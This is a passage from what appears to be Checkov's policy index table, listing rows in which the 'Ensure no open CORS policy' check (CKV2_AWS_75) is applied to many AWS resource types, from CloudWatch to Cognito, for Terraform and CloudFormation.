                                                                                                                                                          | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2975 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_delivery_destination_policy                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2976 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_delivery_destination_policy                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2977 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_delivery_source                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2978 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_delivery_source                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2979 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_destination                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2980 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_destination                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2981 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_destination_policy                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2982 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_destination_policy                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2983 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_group                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2984 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_group                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2985 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_index_policy                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2986 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_index_policy                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2987 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_metric_filter                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2988 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_metric_filter                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2989 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_resource_policy                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2990 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_resource_policy                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2991 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_stream                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2992 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_stream                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2993 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_subscription_filter                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2994 | CKV2_AWS_75              | resource                         | aws_cloudwatch_log_subscription_filter                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2995 | CKV2_AWS_75              | resource                         | aws_cloudwatch_metric_alarm                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2996 | CKV2_AWS_75              | resource                         | aws_cloudwatch_metric_alarm                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2997 | CKV2_AWS_75              | resource                         | aws_cloudwatch_metric_stream                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2998 | CKV2_AWS_75              | resource                         | aws_cloudwatch_metric_stream                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 2999 | CKV2_AWS_75              | resource                         | aws_cloudwatch_query_definition                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3000 | CKV2_AWS_75              | resource                         | aws_cloudwatch_query_definition                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3001 | CKV2_AWS_75              | resource                         | aws_codeartifact_domain                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3002 | CKV2_AWS_75              | resource                         | aws_codeartifact_domain                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3003 | CKV2_AWS_75              | resource                         | aws_codeartifact_domain_permissions_policy                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3004 | CKV2_AWS_75              | resource                         | aws_codeartifact_domain_permissions_policy                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3005 | CKV2_AWS_75              | resource                         | aws_codeartifact_repository                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3006 | CKV2_AWS_75              | resource                         | aws_codeartifact_repository                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3007 | CKV2_AWS_75              | resource                         | aws_codeartifact_repository_permissions_policy                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3008 | CKV2_AWS_75              | resource                         | aws_codeartifact_repository_permissions_policy                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3009 | CKV2_AWS_75              | resource                         | aws_codebuild_fleet                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3010 | CKV2_AWS_75              | resource                         | aws_codebuild_fleet                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3011 | CKV2_AWS_75              | resource                         | aws_codebuild_project                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3012 | CKV2_AWS_75              | resource                         | aws_codebuild_project                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3013 | CKV2_AWS_75              | resource                         | aws_codebuild_report_group                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3014 | CKV2_AWS_75              | resource                         | aws_codebuild_report_group                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3015 | CKV2_AWS_75              | resource                         | aws_codebuild_resource_policy                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3016 | CKV2_AWS_75              | resource                         | aws_codebuild_resource_policy                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3017 | CKV2_AWS_75              | resource                         | aws_codebuild_source_credential                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3018 | CKV2_AWS_75              | resource                         | aws_codebuild_source_credential                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3019 | CKV2_AWS_75              | resource                         | aws_codebuild_webhook                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3020 | CKV2_AWS_75              | resource                         | aws_codebuild_webhook                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3021 | CKV2_AWS_75              | resource                         | aws_codecatalyst_dev_environment                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3022 | CKV2_AWS_75              | resource                         | aws_codecatalyst_dev_environment                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3023 | CKV2_AWS_75              | resource                         | aws_codecatalyst_project                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3024 | CKV2_AWS_75              | resource                         | aws_codecatalyst_project                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3025 | CKV2_AWS_75              | resource                         | aws_codecatalyst_source_repository                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3026 | CKV2_AWS_75              | resource                         | aws_codecatalyst_source_repository                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3027 | CKV2_AWS_75              | resource                         | aws_codecommit_approval_rule_template                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3028 | CKV2_AWS_75              | resource                         | aws_codecommit_approval_rule_template                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3029 | CKV2_AWS_75              | resource                         | aws_codecommit_approval_rule_template_association                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3030 | CKV2_AWS_75              | resource                         | aws_codecommit_approval_rule_template_association                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3031 | CKV2_AWS_75              | resource                         | aws_codecommit_repository                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3032 | CKV2_AWS_75              | resource                         | aws_codecommit_repository                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3033 | CKV2_AWS_75              | resource                         | aws_codecommit_trigger                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3034 | CKV2_AWS_75              | resource                         | aws_codecommit_trigger                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3035 | CKV2_AWS_75              | resource                         | aws_codeconnections_connection                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3036 | CKV2_AWS_75              | resource                         | aws_codeconnections_connection                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3037 | CKV2_AWS_75              | resource                         | aws_codeconnections_host                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3038 | CKV2_AWS_75              | resource                         | aws_codeconnections_host                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3039 | CKV2_AWS_75              | resource                         | aws_codedeploy_app                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3040 | CKV2_AWS_75              | resource                         | aws_codedeploy_app                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3041 | CKV2_AWS_75              | resource                         | aws_codedeploy_deployment_config                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3042 | CKV2_AWS_75              | resource                         | aws_codedeploy_deployment_config                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3043 | CKV2_AWS_75              | resource                         | aws_codedeploy_deployment_group                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3044 | CKV2_AWS_75              | resource                         | aws_codedeploy_deployment_group                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3045 | CKV2_AWS_75              | resource                         | aws_codeguruprofiler_profiling_group                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3046 | CKV2_AWS_75              | resource                         | aws_codeguruprofiler_profiling_group                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3047 | CKV2_AWS_75              | resource                         | aws_codegurureviewer_repository_association                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3048 | CKV2_AWS_75              | resource                         | aws_codegurureviewer_repository_association                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3049 | CKV2_AWS_75              | resource                         | aws_codepipeline                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3050 | CKV2_AWS_75              | resource                         | aws_codepipeline                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3051 | CKV2_AWS_75              | resource                         | aws_codepipeline_custom_action_type                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3052 | CKV2_AWS_75              | resource                         | aws_codepipeline_custom_action_type                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3053 | CKV2_AWS_75              | resource                         | aws_codepipeline_webhook                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3054 | CKV2_AWS_75              | resource                         | aws_codepipeline_webhook                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3055 | CKV2_AWS_75              | resource                         | aws_codestarconnections_connection                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3056 | CKV2_AWS_75              | resource                         | aws_codestarconnections_connection                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3057 | CKV2_AWS_75              | resource                         | aws_codestarconnections_host                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3058 | CKV2_AWS_75              | resource                         | aws_codestarconnections_host                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3059 | CKV2_AWS_75              | resource                         | aws_codestarnotifications_notification_rule                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3060 | CKV2_AWS_75              | resource                         | aws_codestarnotifications_notification_rule                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3061 | CKV2_AWS_75              | resource                         | aws_cognito_identity_pool                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3062 | CKV2_AWS_75              | resource                         | aws_cognito_identity_pool                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3063 | CKV2_AWS_75              | resource                         | aws_cognito_identity_pool_provider_principal_tag                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3064 | CKV2_AWS_75              | resource                         | aws_cognito_identity_pool_provider_principal_tag                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3065 | CKV2_AWS_75              | resource                         | aws_cognito_identity_pool_roles_attachment                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3066 | CKV2_AWS_75              | resource                         | aws_cognito_identity_pool_roles_attachment                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | 